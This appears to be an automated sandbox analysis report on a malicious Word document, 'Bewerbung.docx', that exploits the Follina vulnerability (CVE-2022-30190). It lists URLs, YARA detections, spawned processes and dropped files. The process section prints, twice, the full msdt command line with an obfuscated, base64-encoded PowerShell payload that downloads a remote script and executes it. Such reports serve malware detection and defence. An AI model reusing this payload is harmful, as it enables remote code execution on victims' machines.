Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://onedrive.live.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://osi.office.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://outlook.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://outlook.office.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://outlook.office365.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://roaming.edog.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://settings.outlook.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://tasks.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Source: dump.pcap, type: PCAP	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: document.xml.rels, type: SAMPLE	Matched rule: SUSP_Doc_WordXMLRels_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, Wojciech Cieslak, description = Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-06-20, hash = 62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0
Source: 00000002.00000002.612793085.00000000039F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: 00000002.00000002.610336977.0000000003320000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: 00000002.00000002.610475144.0000000003678000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: 00000002.00000002.610430089.0000000003670000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: Process Memory Space: msdt.exe PID: 5588, type: MEMORYSTR	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, type: DROPPED	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, type: DROPPED	Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html, type: DROPPED	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html, type: DROPPED	Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, type: DROPPED	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html, type: DROPPED	Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html, type: DROPPED	Matched rule: SUSP_PS1_Msdt_Execution_May22 date = 2022-05-31, author = Nasreddine Bencherchali, Christian Burkard, description = Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-08
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html, type: DROPPED	Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, hash2 = 778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07, hash1 = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, score = , reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, modified = 2022-07-18

Source: DiagPackage.dll.2.dr	Static PE information: No import functions for PE file found
Source: DiagPackage.dll.mui.2.dr	Static PE information: No import functions for PE file found

Source: DiagPackage.dll.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DiagPackage.dll.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DiagPackage.dll.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE

Section loaded: sfc.dll

Jump to behavior

Source: Bewerbung.docx	ReversingLabs: Detection: 20%
Source: Bewerbung.docx	Virustotal: Detection: 9%

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdJ1RsczExLFRsczEyJzsgJCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9taWNyb3NvZnR3aW5kb3dzZGVmZW5kZXIvLmNvbS9tYWluL3Bvd2VyLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4LkNvbnRlbnQpKTs='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A8A.tmp" "c:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP"
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7E41.tmp" "c:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP"
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ufpm0sbx\ufpm0sbx.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAB6C.tmp" "c:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP"
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdJ1RsczExLFRsczEyJzsgJCgkeCA9IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9taWNyb3NvZnR3aW5kb3dzZGVmZW5kZXIvLmNvbS9tYWluL3Bvd2VyLnBzMSAtVXNlQmFzaWNQYXJzaW5nOyBJbnZva2UtRXhwcmVzc2lvbiAkKCR4LkNvbnRlbnQpKTs='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A8A.tmp" "c:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7E41.tmp" "c:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAB6C.tmp" "c:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP"	Jump to behavior

Source: C:\Windows\SysWOW64\msdt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{88d96a05-f192-11d4-a65f-0040963251e5}\InProcServer32

Jump to behavior

Source: Bewerbung.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\Bewerbung.docx

Source: Bewerbung.docx

OLE indicator, Word Document stream: true

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{64CF470B-E2A2-44FC-A44E-0092BC935469} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal92.troj.expl.evad.winDOCX@14/33@0/1

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File written: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini

Jump to behavior

Source: Bewerbung.docx	OLE document summary: title field not present or empty
Source: Bewerbung.docx	OLE document summary: edited time not present or 0

Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe	Automated click: Next

Source: C:\Windows\SysWOW64\msdt.exe

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: Bewerbung.docx

Initial sample: OLE indicators vbamacros = False

Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.cmdline
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.cmdline
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ufpm0sbx\ufpm0sbx.cmdline

Persistence and Installation Behavior

Contains an external reference to another file

Source: document.xml.rels

Source: C:\Windows\SysWOW64\msdt.exe	File created: C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\en-US\DiagPackage.dll.mui	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe	File created: C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\DiagPackage.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ufpm0sbx\ufpm0sbx.dll	Jump to dropped file

